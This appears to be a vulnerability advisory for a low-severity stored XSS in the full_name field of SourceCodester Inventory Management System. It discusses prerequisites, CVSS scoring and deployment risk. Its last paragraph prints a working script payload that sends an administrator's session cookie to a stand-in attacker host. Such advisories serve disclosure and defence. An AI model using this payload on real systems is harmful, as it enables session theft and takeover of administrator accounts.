Inventory Management System CVE-2026-13570

The attacker must possess a low-privileged account on the SourceCodester Inventory Management System instance (PR:L per CVSS vector) - this could be a self-registered account if open registration is enabled, or a legitimately issued low-trust credential. Successful impact additionally requires that a second user with elevated privileges (e.g., an administrator) views a page where the stored full_name value is rendered without encoding (UI:P). Exploitation is therefore not immediate upon registration; it depends on administrative review activity. No special server-side configuration is required beyond the default application deployment. Factors limiting exploitation: attacker must have or obtain a valid low-privilege account; a privileged user must view the injected content; the product has a narrow real-world deployment footprint.

The CVSS 4.0 score of 2.0 reflects genuinely low severity: PR:L requires at least a low-privileged account, UI:P requires passive interaction from a second user, and the integrity impact is rated VI:L with no confidentiality or availability impact recorded in the provided vector. No EPSS data was supplied, and the vulnerability is absent from CISA KEV, indicating no confirmed active exploitation in the wild. The E:P modifier confirms publicly available proof-of-concept code exists, which marginally elevates real-world risk above zero. However, SourceCodester products are primarily distributed as tutorial/learning codebases with minimal enterprise deployment, sharply limiting the exposed attack surface. The primary realistic risk is within organizations that have inadvertently deployed SourceCodester code in production environments. CVSS integrity-only impact (VI:L, VC:N) appears to undercount the realistic confidentiality exposure of stored XSS - session cookie theft is a standard post-exploitation step - suggesting the provided vector may be conservative on the VC metric.

An attacker with a low-privileged account submits a user registration request to /api/users_handler.php with a crafted full_name value such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The payload is stored in the application database. When an administrator later navigates to the user management dashboard and the stored name is rendered without encoding, the script executes in the admin's browser, exfiltrating the session cookie to the attacker. Public proof-of-concept code for this vector exists per VulDB.